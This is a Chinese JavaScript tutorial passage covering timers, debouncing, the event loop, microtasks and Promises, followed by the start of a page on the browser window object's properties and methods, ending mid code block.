`setInterval` 函数的用法与 `setTimeout` 完全一致，区别仅仅在于 `setInterval` 指定某个任务每隔一段时间就执行一次，也就是无限次的定时执行。

与 `setTimeout` 一样，除了前两个参数，`setInterval` 方法还可以接受更多的参数，它们会传入回调函数。

`setInterval` 指定的是“开始执行”之间的间隔，并不考虑每次任务执行本身所消耗的时间。

因此实际上，两次执行之间的间隔会小于指定的时间，比如，`setInterval` 指定每 100ms 执行一次，每次执行需要 5ms，那么第一次执行结束后 95 毫秒，第二次执行就会开始。如果某次执行耗时特别长，比如需要 105 毫秒，那么它结束后，下一次执行就会立即开始。

为了确保两次执行之间有固定的间隔，可以不用 `setInterval`，而是每次执行结束后，使用 `setTimeout` 指定下一次执行的具体时间。

```js
var i = 1;
var timer = setTimeout(function f() {
  // ...
  timer = setTimeout(f, 2000);
}, 2000);
```

上面代码可以确保，下一次执行总是在本次执行结束之后的 2000 毫秒开始。

### clearTimeout()

### clearInterval()

`setTimeout` 和 `setInterval` 函数，都返回一个整数值，表示计数器编号，将该整数传入 `clearTimeout` 和 `clearInterval` 函数，就可以取消对应的定时器。

`setTimeout` 和 `setInterval` 返回的整数值是连续的，也就是说，第二个 `setTimeout` 方法返回的整数值，将比第一个的整数值大 1。

```js
function f() {}
setTimeout(f, 1000) // 10
setTimeout(f, 1000) // 11
setTimeout(f, 1000) // 12
```

### 防抖函数

当用户连续击键，就会连续触发 `keydown` 事件，造成大量的 Ajax 通信。这是不必要的，而且很可能产生性能问题。正确的做法应该是，设置一个门槛值，表示两次 Ajax 通信的最小间隔时间。如果在间隔时间内，发生新的 `keydown` 事件，则不触发 Ajax 通信，并且重新开始计时。如果过了指定时间，没有发生新的 `keydown` 事件，再将数据发送出去。

假定两次 Ajax 通信的间隔不得小于 2500 毫秒

```js
$('textarea').on('keydown', debounce(ajaxAction, 2500));

function debounce(fn, delay){
  var timer = null; // 声明计时器
  return function() {
    var context = this;
    var args = arguments;
    clearTimeout(timer);
    timer = setTimeout(function () {
      fn.apply(context, args);
    }, delay);
  };
}
```

只要在 2500 毫秒之内，用户再次击键，就会取消上一次的定时器，然后再新建一个定时器。这样就保证了回调函数之间的调用间隔，至少是 2500 毫秒。

### 运行机制

`setTimeout` 和 `setInterval` 的运行机制，是将指定的代码移出本轮事件循环，等到下一轮事件循环，再检查是否到了指定时间，如果到了，就执行对应的代码；如果不到，就继续等待。

这意味着，`setTimeout` 和 `setInterval` 指定的回调函数，必须等到本轮事件循环的所有同步任务都执行完，才会开始执行，由于前面的任务到底需要多少时间执行完，是不确定的，所以没有办法保证，`setTimeout` 和 `setInterval` 指定的任务，一定会按照预定时间执行。

```js
setTimeout(someTask, 100);
veryLongTask();
```

上面代码的 `setTimeout`，指定 100 毫秒以后运行一个任务。但是，如果后面的 `veryLongTask` 函数（同步任务）运行时间非常长，过了 100 毫秒还无法结束，那么被推迟运行的 `someTask` 就只有等着，等到 `veryLongTask` 运行结束，才轮到它执行。

再看一个 `setInterval` 的例子。

```js
setInterval(function () {
  console.log(2);
}, 1000);

sleep(3000);

function sleep(ms) {
  var start = Date.now();
  while ((Date.now() - start) < ms) {
  }
}
```

上面代码中，`setInterval` 要求每隔 1000 毫秒，就输出一个 2，但是，紧接着的 `sleep` 语句需要 3000 毫秒才能完成，那么 `setInterval` 就必须推迟到 3000 毫秒之后才开始生效。注意，生效后 `setInterval` 不会产生累积效应，即不会一下子输出三个 2，而是只会输出一个 2。

### setTimeout(f, 0)

`setTimeout` 的作用是将代码推迟到指定时间执行，如果指定时间为 `0`，即 `setTimeout(f, 0)`，也不会立刻执行，而是要等到当前脚本的同步任务，全部处理完以后，才会执行 `setTimeout` 指定的回调函数 `f`。也就是说，`setTimeout(f, 0)` 会在下一轮事件循环一开始就执行。

```js
setTimeout(function () {
  console.log(1);
}, 0);
console.log(2);
// 2
// 1
```

上面代码先输出 `2`，再输出 `1`。因为 `2` 是同步任务，在本轮事件循环执行，而 `1` 是下一轮事件循环执行。

总之，`setTimeout(f, 0)` 这种写法的目的是，尽可能早地执行 `f`，但是并不能保证立刻就执行 `f`。

实际上，`setTimeout(f, 0)` 不会真的在 0 毫秒之后运行，不同的浏览器有不同的实现，以 Edge 浏览器为例，会等到 4 毫秒之后运行。如果电脑正在使用电池供电，会等到 16 毫秒之后运行；如果网页不在当前 Tab 页，会推迟到 1000 毫秒（1 秒）之后运行。这样是为了节省系统资源。

**应用**：

`setTimeout(f, 0)` 有几个非常重要的用途。

它的一大应用是，可以调整事件的发生顺序。比如，网页开发中，某个事件先发生在子元素，然后冒泡到父元素，即子元素的事件回调函数，会早于父元素的事件回调函数触发。如果，想让父元素的事件回调函数先发生，就要用到 `setTimeout(f, 0)`。

```js
// HTML 代码如下
// <input type="button" id="myButton" value="click">

var input = document.getElementById('myButton');

input.onclick = function A() {
  setTimeout(function B() {
    input.value +=' input';
  }, 0)
};

document.body.onclick = function C() {
  input.value += ' body'
};
```

上面代码在点击按钮后，先触发回调函数 `A`，然后触发函数 `C`，函数 `A` 中，`setTimeout` 将函数 `B` 推迟到下一轮事件循环执行，这样就起到了，先触发父元素的回调函数 `C` 的目的了。

另一个应用是，**用户自定义的回调函数，通常在浏览器的默认动作之前触发**。比如，用户在输入框输入文本，`keypress` 事件会在浏览器接收文本之前触发。因此，下面的回调函数是达不到目的的。

```js
// HTML 代码如下
// <input type="text" id="input-box">

document.getElementById('input-box').onkeypress = function (event) {
  this.value = this.value.toUpperCase();
}
```

上面代码想在用户每次输入文本后，立即将字符转为大写。但是实际上，它只能将本次输入前的字符转为大写，因为浏览器此时还没接收到新的文本，所以 `this.value` 取不到最新输入的那个字符。只有用 `setTimeout` 改写，上面的代码才能发挥作用。

```js
document.getElementById('input-box').onkeypress = function() {
  var self = this;
  setTimeout(function() {
    self.value = self.value.toUpperCase();
  }, 0);
}
```

上面代码将代码放入 `setTimeout` 之中，就能使得它在浏览器接收到文本之后触发。

**由于 `setTimeout(f, 0)` 实际上意味着，将任务放到浏览器最早可得的空闲时段执行**，所以那些计算量大、耗时长的任务，常常会被放到几个小部分，分别放到 `setTimeout(f, 0)` 里面执行。

```js
var div = document.getElementsByTagName('div')[0];

// 写法一
for (var i = 0xA00000; i < 0xFFFFFF; i++) {
  div.style.backgroundColor = '#' + i.toString(16);
}

// 写法二
var timer;
var i=0x100000;

function func() {
  timer = setTimeout(func, 0);
  div.style.backgroundColor = '#' + i.toString(16);
  if (i++ == 0xFFFFFF) clearTimeout(timer);
}

timer = setTimeout(func, 0);
```

上面代码有两种写法，都是改变一个网页元素的背景色。写法一会造成浏览器“堵塞”，因为 JavaScript 执行速度远高于 DOM，会造成大量 DOM 操作“堆积”，而写法二就不会，这就是 `setTimeout(f, 0)` 的好处。

另一个使用这种技巧的例子是代码高亮的处理。如果代码块很大，一次性处理，可能会对性能造成很大的压力，那么将其分成一个个小块，一次处理一块，比如写成 `setTimeout(highlightNext, 50)` 的样子，性能压力就会减轻。

## Promise 对象

Promise 对象是 JavaScript 的异步操作解决方案，为异步操作提供统一接口，它起到代理作用（proxy），充当异步操作与回调函数之间的中介，使得异步操作具备同步操作的接口。

Promise 可以让异步操作写起来，就像在写同步操作的流程，而不必一层层地嵌套回调函数。

Promise 是一个对象，也是一个构造函数。

```js
function f1(resolve, reject) {
  // 异步代码...
}

var p1 = new Promise(f1);
```

`Promise` 构造函数接受一个回调函数 `f1` 作为参数，`f1` 里面是异步操作的代码，然后，返回的 `p1` 就是一个 Promise 实例。

`Promise` 的设计思想是，所有异步任务都返回一个 Promise 实例，Promise 实例有一个 `then` 方法，用来指定下一步的回调函数。

```js
var p1 = new Promise(f1);
p1.then(f2);
```

`f1` 的异步操作执行完成，就会执行 `f2`。

传统的写法可能需要把 `f2` 作为回调函数传入 `f1`，比如写成 `f1(f2)`，异步操作完成后，在 `f1` 内部调用 `f2`。

Promise 使得 `f1` 和 `f2` 变成了链式写法。不仅改善了可读性，而且对于多层嵌套的回调函数尤其方便。

```js
// 传统写法
step1(function (value1) {
  step2(value1, function(value2) {
    step3(value2, function(value3) {
      step4(value3, function(value4) {
        // ...
      });
    });
  });
});

// Promise 的写法
(new Promise(step1))
  .then(step2)
  .then(step3)
  .then(step4);
```

采用 Promises 以后，程序流程变得非常清楚，十分易读，注意，为了便于理解，上面代码的 `Promise` 实例的生成格式，做了简化，真正的语法请参照下文。

总的来说，传统的回调函数写法使得代码混成一团，变得横向发展而不是向下发展。Promise 就是解决这个问题，使得异步流程可以写成同步流程。

Promise 原本只是社区提出的一个构想，一些函数库率先实现了这个功能。ECMAScript 6 将其写入语言标准，目前 JavaScript 原生支持 Promise 对象。

### 状态

Promise 对象通过自身的状态，来控制异步操作。Promise 实例具有三种状态。

* 异步操作未完成（pending）
* 异步操作成功（fulfilled）
* 异步操作失败（rejected）

上面三种状态里面，`fulfilled` 和 `rejected` 合在一起称为 `resolved`（已定型）。

这三种的状态的变化途径只有两种。

* 从“未完成”到“成功”
* 从“未完成”到“失败”

一旦状态发生变化，就凝固了，不会再有新的状态变化。这也是 Promise 这个名字的由来，它的英语意思是“承诺”，一旦承诺成效，就不得再改变了。这也意味着，Promise 实例的状态变化只可能发生一次。

因此，Promise 的最终结果只有两种。

* 异步操作成功，Promise 实例传回一个值（value），状态变为 `fulfilled`。
* 异步操作失败，Promise 实例抛出一个错误（error），状态变为 `rejected`。

### 构造函数

JavaScript 提供原生的 `Promise` 构造函数，用来生成 Promise 实例。

```js
var promise = new Promise(function (resolve, reject) {
  // ...

  if (/* 异步操作成功 */){
    resolve(value);
  } else { /* 异步操作失败 */
    reject(new Error());
  }
});
```

上面代码中，`Promise` 构造函数接受一个函数作为参数，该函数的两个参数分别是 `resolve` 和 `reject`。它们是两个函数，由 JavaScript 引擎提供，不用自己实现。

`resolve` 函数的作用是，将 `Promise` 实例的状态从“未完成”变为“成功”（即从 `pending` 变为 `fulfilled`），在异步操作成功时调用，并将异步操作的结果，作为参数传递出去。

`reject` 函数的作用是，将 `Promise` 实例的状态从“未完成”变为“失败”（即从 `pending` 变为 `rejected`），在异步操作失败时调用，并将异步操作报出的错误，作为参数传递出去。

```js
function timeout(ms) {
  return new Promise((resolve, reject) => {
    setTimeout(resolve, ms, 'done');
  });
}

timeout(100)
```

上面代码中，`timeout(100)` 返回一个 Promise 实例，100 毫秒以后，该实例的状态会变为 `fulfilled`。

### then()

Promise 实例的 `then` 方法，用来添加回调函数。

`then` 方法可以接受两个回调函数，第一个是异步操作成功时（变为 `fulfilled` 状态）的回调函数，第二个是异步操作失败（变为 `rejected`）时的回调函数（该参数可以省略），一旦状态改变，就调用相应的回调函数。

```js
var p1 = new Promise(function (resolve, reject) {
  resolve('成功');
});
p1.then(console.log, console.error);
// "成功"

var p2 = new Promise(function (resolve, reject) {
  reject(new Error('失败'));
});
p2.then(console.log, console.error);
// Error: 失败
```

上面代码中，`p1` 和 `p2` 都是 Promise 实例，它们的 `then` 方法绑定两个回调函数：成功时的回调函数 `console.log`，失败时的回调函数 `console.error`（可以省略）。

`p1` 的状态变为成功，`p2` 的状态变为失败，对应的回调函数会收到异步操作传回的值，然后在控制台输出。

`then` 方法可以链式使用。

```js
p1
  .then(step1)
  .then(step2)
  .then(step3)
  .then(
    console.log,
    console.error
  );
```

上面代码中，`p1` 后面有四个 `then`，意味依次有四个回调函数，只要前一步的状态变为 `fulfilled`，就会依次执行紧跟在后面的回调函数。

最后一个 `then` 方法，回调函数是 `console.log` 和 `console.error`，用法上有一点重要的区别。

`console.log` 只显示 `step3` 的返回值，而 `console.error` 可以显示 `p1`、`step1`、`step2`、`step3` 之中任意一个发生的错误。

举例来说，如果 `step1` 的状态变为 `rejected`，那么 `step2` 和 `step3` 都不会执行了（因为它们是 `resolved` 的回调函数）。

Promise 开始寻找，接下来第一个为 `rejected` 的回调函数，在上面代码中是 `console.error`，这就是说，Promise 对象的报错具有传递性。

### 实例：图片加载

下面是使用 Promise 完成图片的加载。

```js
var preloadImage = function (path) {
  return new Promise(function (resolve, reject) {
    var image = new Image();
    image.onload  = resolve;
    image.onerror = reject;
    image.src = path;
  });
};
```

上面代码中，`image` 是一个图片对象的实例，它有两个事件监听属性，`onload` 属性在图片加载成功后调用，`onerror` 属性在加载失败调用。

上面的 `preloadImage()` 函数用法如下。

```js
preloadImage('https://example.com/my.jpg')
  .then(function (e) { document.body.append(e.target) })
  .then(function () { console.log('加载成功') })
```

上面代码中，图片加载成功以后，`onload` 属性会返回一个事件对象，因此第一个 `then()` 方法的回调函数，会接收到这个事件对象。该对象的 `target` 属性就是图片加载后生成的 DOM 节点。

### 小结

Promise 的优点在于，让回调函数变成了规范的链式写法，程序流程可以看得很清楚。

它有一整套接口，可以实现许多强大的功能，比如同时执行多个异步操作，等到它们的状态都改变以后，再执行一个回调函数；再比如，为多个回调函数中抛出的错误，统一指定处理方法等等。

而且，Promise 还有一个传统写法没有的好处：**它的状态一旦改变，无论何时查询，都能得到这个状态。这意味着，无论何时为 Promise 实例添加回调函数，该函数都能正确执行**。所以，你不用担心是否错过了某个事件或信号。如果是传统写法，通过监听事件来执行回调函数，一旦错过了事件，再添加回调函数是不会执行的。

Promise 的缺点是，编写的难度比传统写法高，而且阅读代码也不是一眼可以看懂，你只会看到一堆 `then`，必须自己在 `then` 的回调函数里面理清逻辑。

### 微任务

Promise 的回调函数属于异步任务，会在同步任务之后执行。

```js
new Promise(function (resolve, reject) {
  resolve(1);
}).then(console.log);

console.log(2);
// 2
// 1
```

上面代码会先输出 2，再输出 1。因为 `console.log(2)` 是同步任务，而 `then` 的回调函数属于异步任务，一定晚于同步任务执行。

但是，Promise 的回调函数不是正常的异步任务，而是微任务（microtask），它们的区别在于，正常任务追加到下一轮事件循环，微任务追加到本轮事件循环。这意味着，微任务的执行时间一定早于正常任务。

```js
setTimeout(function() {
  console.log(1);
}, 0);

new Promise(function (resolve, reject) {
  resolve(2);
}).then(console.log);

console.log(3);
// 3
// 2
// 1
```

上面代码的输出结果是 `321`。这说明 `then` 的回调函数的执行时间，早于 `setTimeout(fn, 0)`。因为 `then` 是本轮事件循环执行，`setTimeout(fn, 0)` 在下一轮事件循环开始时执行。

* `console.log(3)` 是同步代码，立刻执行。
* `Promise.then(...)` 是 **微任务（microtask）**，会在当前同步栈清空后、进入下一轮事件循环前执行，所以输出 `2`。
* `setTimeout(..., 0)` 是 **宏任务（macrotask）**，要等微任务都跑完、再到下一轮事件循环才执行，所以最后输出 `1`。

***

### 拓展

**“本轮里追加的微任务”，只要是在“开始跑微任务队列”之后又被追加进去的，一般也会在同一轮把它继续清空掉**

更精确：

* 一轮事件循环（一个 macrotask 执行完）之后，会进入 **microtask checkpoint**：**把微任务队列一直跑到空** 才会去取下一个 macrotask。
* 跑微任务的过程中如果又产生了新的微任务（比如在 `then` 里又 `queueMicrotask/Promise.then`），它会被追加到队列尾部，然后 **继续在这 checkpoint 里执行**，直到队列真的空。

```js
Promise.resolve().then(() => {
  console.log('A');
  Promise.resolve().then(() => console.log('B'));
  queueMicrotask(() => console.log('C'));
  console.log('D');
});
console.log('sync');
```

输出顺序是：

```js
sync
A
D
B
C
```

解释：`A/D` 是第一个微任务的同步部分；`B/C` 是在这个微任务里追加的微任务，仍然会在同一轮 checkpoint 里被继续执行（顺序按入队先后）。

唯一需要避免的误区：“本轮事件循环”这个词有时会被人拿来指“整个从取 macrotask 到渲染再到下一次取 macrotask 的大过程”。从规范/实现角度，更靠谱的切分是：**一个 macrotask +（清空 microtask）**。

***

**一个事件循环迭代（event loop turn / tick）≈ 取出并执行一个 macrotask（task）→ 清空 microtask 队列（microtask checkpoint）→（可能渲染）→ 进入下一次迭代**。

“一个 macrotask + 清空 microtask”是不是**严格**等于“一轮事件循环”？

\*\*在浏览器主线程里，通常可以当作等价，\*\*因为主线程的事件循环每次循环都会：

1. 从 task 队列取一个 task 跑完（比如 `setTimeout` 回调、`message`、`I/O` 等）
2. 然后做一次（或多次）microtask checkpoint：**把微任务跑到空**
3. 然后浏览器可能进行渲染（rAF/布局/绘制等）
4. 再去取下一个 task

那为什么说“≈”而不是“=”？

因为真实模型里除了“task/microtask”还有一些阶段/来源差异：

* **渲染不一定每轮都发生**（取决于是否到刷新时机、是否需要重绘、是否被阻塞等）
* **task 队列在规范里不止一个**（不同来源的 task：timer、I/O、UI、postMessage…，调度策略实现相关）
* **Node.js 的事件循环分阶段**（timers / poll / check / close 等），虽然也有 microtask，但“每轮”的概念会跟浏览器不完全一一对应

**一次 tick：执行一个宏任务（task），然后把所有微任务（microtasks）清空，之后才可能进入渲染/下一次取宏任务。**

> **rAF 不属于 microtask，也不属于普通 macrotask**，**rAF 回调发生在“渲染（paint）之前”，属于浏览器准备渲染下一帧时的 pre-render 回调阶段**，而不是“渲染阶段里”。

---

---
url: /skill/fuprr3b5/index.md
---
# JS 回顾 13
## window 对象

浏览器里面，`window` 对象（注意，`w` 为小写）指当前的浏览器窗口，它也是当前页面的顶层对象，即最高一层的对象，所有其他对象都是它的下属。一个变量如果未声明，那么默认就是顶层对象的属性。

```js
a = 1;
window.a // 1
```

上面代码中，`a` 是一个没有声明就直接赋值的变量，它自动成为顶层对象的属性。

`window` 有自己的实体含义，其实不适合当作最高一层的顶层对象，这是一个语言的设计失误。最早，设计这门语言的时候，原始设想是语言内置的对象越少越好，这样可以提高浏览器的性能。因此，语言设计者 Brendan Eich 就把 `window` 对象当作顶层对象，所有未声明就赋值的变量都自动变成 `window` 对象的属性。这种设计使得编译阶段无法检测出未声明变量，但到了今天已经没有办法纠正了。

### window 对象的属性

#### window.name

`window.name` 属性是一个字符串，表示当前浏览器窗口的名字。窗口不一定需要名字，这个属性主要配合超链接和表单的 `target` 属性使用。

```js
window.name = 'Hello World!';
console.log(window.name)
// "Hello World!"
```

该属性只能保存字符串，如果写入的值不是字符串，会自动转成字符串。各个浏览器对这个值的储存容量有所不同，但是一般来说，可以高达几 MB。

只要浏览器窗口不关闭，这个属性是不会消失的。举例来说，访问 `a.com` 时，该页面的脚本设置了 `window.name`，接下来在同一个窗口里面载入了 `b.com`，新页面的脚本可以读到上一个网页设置的 `window.name`。页面刷新也是这种情况。一旦浏览器窗口关闭后，该属性保存的值就会消失，因为这时窗口已经不存在了。

#### window.closed

#### window.opener

`window.closed` 属性返回一个布尔值，表示窗口是否关闭。

```js
window.closed // false
```

上面代码检查当前窗口是否关闭。这种检查意义不大，因为只要能运行代码，当前窗口肯定没有关闭。这个属性一般用来检查，使用脚本打开的新窗口是否关闭。

```js
var popup = window.open();

if ((popup !== null) && !popup.closed) {
  // 窗口仍然打开着
}
```

`window.opener` 属性表示打开当前窗口的父窗口。如果当前窗口没有父窗口（即直接在地址栏输入打开），则返回 `null`。

```js
window.open().opener === window // true
```

上面表达式会打开一个新窗口，然后返回 `true`。

如果两个窗口之间不需要通信，建议将子窗口的 `opener` 属性显式设为 `null`，这样可以减少一些安全隐患。

```js
var newWin = window.open('example.html', 'newWindow', 'height=400,width=400');
newWin.opener = null;
```

上面代码中，子窗口的 `opener` 属性设为 `null`，两个窗口之间就没办法再联系了。

通过 `opener` 属性，可以获得父窗口的全局属性和方法，但只限于两个窗口同源的情况，且其中一个窗口由另一个打开。`<a>` 元素添加 `rel="noopener"` 属性，可以防止新打开的窗口获取父窗口，减轻被恶意网站修改父窗口 URL 的风险。

```html
<a href="https://an.evil.site" target="_blank" rel="noopener">
    恶意网站
</a>
```

#### window.self

#### window.window

`window.self` 和 `window.window` 属性都指向窗口本身。这两个属性只读。

```js
window.self === window // true
window.window === window // true
```

#### window.frames

#### window.length

`window.frames` 属性返回一个类似数组的对象，成员为页面内所有框架窗口，包括 `frame` 元素和 `iframe` 元素。`window.frames[0]` 表示页面中第一个框架窗口。

如果 `iframe` 元素设置了 `id` 或 `name` 属性，那么就可以用属性值，引用这个 `iframe` 窗口。比如 `<iframe name="myIFrame">` 可以用 `frames['myIFrame']` 或者 `frames.myIFrame` 来引用。

`frames` 属性实际上是 `window` 对象的别名。

```js
frames === window // true
```

因此，`frames[0]` 也可以用 `window[0]` 表示。但是，从语义上看，`frames` 更清晰，而且考虑到 `window` 还是全局对象，因此推荐表示多窗口时，总是使用 `frames[0]` 的写法。

`window.length` 属性返回当前网页包含的框架总数。如果当前网页不包含 `frame` 和 `iframe` 元素，那么 `window.length` 就返回 `0`。

```js
window.frames.length === window.length // true
```

上面代码表示，`window.frames.length` 与 `window.length` 应该是相等的。

#### window.frameElement

`window.frameElement`属性主要用于当前窗口嵌在另一个网页的情况（嵌入`<object>`、`<iframe>`或`<embed>`元素），返回当前窗口所在的那个元素节点。如果当前窗口是顶层窗口，或者所嵌入的那个网页不是同源的，该属性返回`null`。

```js
// HTML 代码如下
// <iframe src="about.html"></iframe>

// 下面的脚本在 about.html 里面
var frameEl = window.frameElement;
if (frameEl) {
  frameEl.src = 'other.html';
}
```

上面代码中，`frameEl`变量就是`<iframe>`元素。

#### window.top

#### window.parent

`window.top`属性指向最顶层窗口，主要用于在框架窗口（frame）里面获取顶层窗口。

`window.parent`属性指向父窗口。如果当前窗口没有父窗口，`window.parent`指向自身。

```js
if (window.parent !== window.top) {
  // 表明当前窗口嵌入不止一层
}
```

对于不包含框架的网页，这两个属性等同于`window`对象。

#### window.status

`window.status`属性用于读写浏览器状态栏的文本。但是，现在很多浏览器都不允许改写状态栏文本，所以使用这个方法不一定有效。

#### window.devicePixelRatio

`window.devicePixelRatio`属性返回一个数值，表示一个 CSS 像素的大小与一个物理像素的大小之间的比率。也就是说，它表示一个 CSS 像素由多少个物理像素组成。它可以用于判断用户的显示环境，如果这个比率较大，就表示用户正在使用高清屏幕，因此可以显示较大像素的图片。

#### 位置大小属性

以下属性返回`window`对象的位置信息和大小信息。

##### window.screenX

##### window.screenY

`window.screenX`和`window.screenY`属性，返回浏览器窗口左上角相对于当前屏幕左上角的水平距离和垂直距离（单位像素）。这两个属性只读。

##### window.innerHeight

##### window.innerWidth

`window.innerHeight`和`window.innerWidth`属性，返回网页在当前窗口中**可见部分**的高度和宽度，即“视口”（viewport）的大小（单位像素）。这两个属性只读。

用户放大网页的时候（比如将网页从100%的大小放大为200%），这两个属性会变小。因为这时网页的像素大小不变（比如宽度还是960像素），只是每个像素占据的屏幕空间变大了，因此可见部分（视口）就变小了。

注意，这两个属性值包括滚动条的高度和宽度。

##### window.outerHeight

##### window.outerWidth

`window.outerHeight`和`window.outerWidth`属性返回浏览器窗口的高度和宽度，包括浏览器菜单和边框（单位像素）。这两个属性只读。

##### window.scrollX

##### window.scrollY

`window.scrollX`属性返回页面的水平滚动距离，`window.scrollY`属性返回页面的垂直滚动距离，单位都为像素。这两个属性只读。

注意，这两个属性的返回值不是整数，而是双精度浮点数。如果页面没有滚动，它们的值就是`0`。

举例来说，如果用户向下拉动了垂直滚动条75像素，那么`window.scrollY`就是75左右。用户水平向右拉动水平滚动条200像素，`window.scrollX`就是200左右。

```js
if (window.scrollY < 75) {
  window.scroll(0, 75);
}
```

上面代码中，如果页面向下滚动的距离小于75像素，那么页面向下滚动75像素。

##### window.pageXOffset

##### window.pageYOffset

`window.pageXOffset`属性和`window.pageYOffset`属性，是`window.scrollX`和`window.scrollY`别名。

#### 组件属性

组件属性返回浏览器的组件对象。这样的属性有下面几个。

* `window.locationbar`：地址栏对象
* `window.menubar`：菜单栏对象
* `window.scrollbars`：窗口的滚动条对象
* `window.toolbar`：工具栏对象
* `window.statusbar`：状态栏对象
* `window.personalbar`：用户安装的个人工具栏对象

这些对象的`visible`属性是一个布尔值，表示这些组件是否可见。这些属性只读。

```js
window.locationbar.visible
window.menubar.visible
window.scrollbars.visible
window.toolbar.visible
window.statusbar.visible
window.personalbar.visible
```

#### 全局对象属性

全局对象属性指向一些浏览器原生的全局对象。

* `window.document`：指向`document`对象，注意，这个属性有同源限制。只有来自同源的脚本才能读取这个属性。
* `window.location`：指向`Location`对象，用于获取当前窗口的 URL 信息。它等同于`document.location`属性。
* `window.navigator`：指向`Navigator`对象，用于获取环境信息。
* `window.history`：指向`History`对象，表示浏览器的浏览历史。
* `window.localStorage`：指向本地储存的 localStorage 数据。
* `window.sessionStorage`：指向本地储存的 sessionStorage 数据。
* `window.console`：指向`console`对象，用于操作控制台。
* `window.screen`：指向`Screen`对象，表示屏幕信息。

#### window.isSecureContext

`window.isSecureContext`属性返回一个布尔值，表示当前窗口是否处在加密环境。如果是 HTTPS 协议，就是`true`，否则就是`false`。

### window 对象的方法

#### window.alert()

`window.alert()`、`window.prompt()`、`window.confirm()`都是浏览器与用户互动的全局方法。它们会弹出不同的对话框，要求用户做出回应。注意，这三个方法弹出的对话框，都是浏览器统一规定的式样，无法定制。

`window.alert()`方法弹出的对话框，只有一个“确定”按钮，往往用来通知用户某些信息。

```js
window.alert('Hello World');
```

用户只有点击“确定”按钮，对话框才会消失。对话框弹出期间，浏览器窗口处于冻结状态，如果不点“确定”按钮，用户什么也干不了。

`window.alert()`方法的参数只能是字符串，没法使用 CSS 样式，但是可以用`\n`指定换行。

```js
alert('本条提示\n分成两行');
```

#### window.prompt()

`window.prompt()`方法弹出的对话框，提示文字的下方，还有一个输入框，要求用户输入信息，并有“确定”和“取消”两个按钮。它往往用来获取用户输入的数据。

```js
var result = prompt('您的年龄？', 25)
```

上面代码会跳出一个对话框，文字提示为“您的年龄？”，要求用户在对话框中输入自己的年龄（默认显示25）。用户填入的值，会作为返回值存入变量`result`。

`window.prompt()`的返回值有两种情况，可能是字符串（有可能是空字符串），也有可能是`null`。具体分成三种情况。

1. 用户输入信息，并点击“确定”，则用户输入的信息就是返回值。
2. 用户没有输入信息，直接点击“确定”，则输入框的默认值就是返回值。
3. 用户点击了“取消”（或者按了 ESC 按钮），则返回值是`null`。

`window.prompt()`方法的第二个参数是可选的，但是最好总是提供第二个参数，作为输入框的默认值。

#### window.confirm()

`window.confirm()`方法弹出的对话框，除了提示信息之外，只有“确定”和“取消”两个按钮，往往用来征询用户是否同意。

```js
var result = confirm('你最近好吗？');
```

上面代码弹出一个对话框，上面只有一行文字“你最近好吗？”，用户选择点击“确定”或“取消”。

`confirm`方法返回一个布尔值，如果用户点击“确定”，返回`true`；如果用户点击“取消”，则返回`false`。

```js
var okay = confirm('Please confirm this message.');
if (okay) {
  // 用户按下“确定”
} else {
  // 用户按下“取消”
}
```

`confirm`的一个用途是，用户离开当前页面时，弹出一个对话框，问用户是否真的要离开。

```js
window.onunload = function () {
  return window.confirm('你确定要离开当面页面吗？');
}
```

**这三个方法都具有堵塞效应，一旦弹出对话框，整个页面就是暂停执行，等待用户做出反应**。

#### window.open()

`window.open`方法用于新建另一个浏览器窗口，类似于浏览器菜单的新建窗口选项。它会返回新窗口的引用，如果无法新建窗口，则返回`null`。

```js
var popup = window.open('somefile.html');
```

上面代码会让浏览器弹出一个新建窗口，网址是当前域名下的`somefile.html`。

`open`方法一共可以接受三个参数。

```js
window.open(url, windowName, [windowFeatures])
```

* `url`：字符串，表示新窗口的网址。如果省略，默认网址就是`about:blank`。
* `windowName`：字符串，表示新窗口的名字。如果该名字的窗口已经存在，则占用该窗口，不再新建窗口。如果省略，就默认使用`_blank`，表示新建一个没有名字的窗口。另外还有几个预设值，`_self`表示当前窗口，`_top`表示顶层窗口，`_parent`表示上一层窗口。
* `windowFeatures`：字符串，内容为逗号分隔的键值对，表示新窗口的参数，比如有没有提示栏、工具条等等。如果省略，则默认打开一个完整 UI 的新窗口。如果新建的是一个已经存在的窗口，则该参数不起作用，浏览器沿用以前窗口的参数。

下面是一个例子。

```js
var popup = window.open(
  'somepage.html',
  'DefinitionsWindows',
  'height=200,width=200,location=no,status=yes,resizable=yes,scrollbars=yes'
);
```

上面代码表示，打开的新窗口高度和宽度都为200像素，没有地址栏，但有状态栏和滚动条，允许用户调整大小。

第三个参数可以设定如下属性。

* left：新窗口距离屏幕最左边的距离（单位像素）。注意，新窗口必须是可见的，不能设置在屏幕以外的位置。
* top：新窗口距离屏幕最顶部的距离（单位像素）。
* height：新窗口内容区域的高度（单位像素），不得小于100。
* width：新窗口内容区域的宽度（单位像素），不得小于100。
* outerHeight：整个浏览器窗口的高度（单位像素），不得小于100。
* outerWidth：整个浏览器窗口的宽度（单位像素），不得小于100。
* menubar：是否显示菜单栏。
* toolbar：是否显示工具栏。
* location：是否显示地址栏。
* personalbar：是否显示用户自己安装的工具栏。
* status：是否显示状态栏。
* dependent：是否依赖父窗口。如果依赖，那么父窗口最小化，该窗口也最小化；父窗口关闭，该窗口也关闭。
* minimizable：是否有最小化按钮，前提是`dialog=yes`。
* noopener：新窗口将与父窗口切断联系，即新窗口的`window.opener`属性返回`null`，父窗口的`window.open()`方法也返回`null`。
* resizable：新窗口是否可以调节大小。
* scrollbars：是否允许新窗口出现滚动条。
* dialog：新窗口标题栏是否出现最大化、最小化、恢复原始大小的控件。
* titlebar：新窗口是否显示标题栏。
* alwaysRaised：是否显示在所有窗口的顶部。
* alwaysLowered：是否显示在父窗口的底下。
* close：新窗口是否显示关闭按钮。

对于那些可以打开和关闭的属性，设为`yes`或`1`或不设任何值就表示打开，比如`status=yes`、`status=1`、`status`都会得到同样的结果。如果想设为关闭，不用写`no`，而是直接省略这个属性即可。也就是说，如果在第三个参数中设置了一部分属性，其他没有被设置的`yes/no`属性都会被设成`no`，只有`titlebar`和关闭按钮除外（它们的值默认为`yes`）。

上面这些属性，属性名与属性值之间用等号连接，属性与属性之间用逗号分隔。

```js
'height=200,width=200,location=no,status=yes,resizable=yes,scrollbars=yes'
```

另外，`open()`方法的第二个参数虽然可以指定已经存在的窗口，但是不等于可以任意控制其他窗口。为了防止被不相干的窗口控制，浏览器只有在两个窗口同源，或者目标窗口被当前网页打开的情况下，才允许`open`方法指向该窗口。

`window.open`方法返回新窗口的引用。

```js
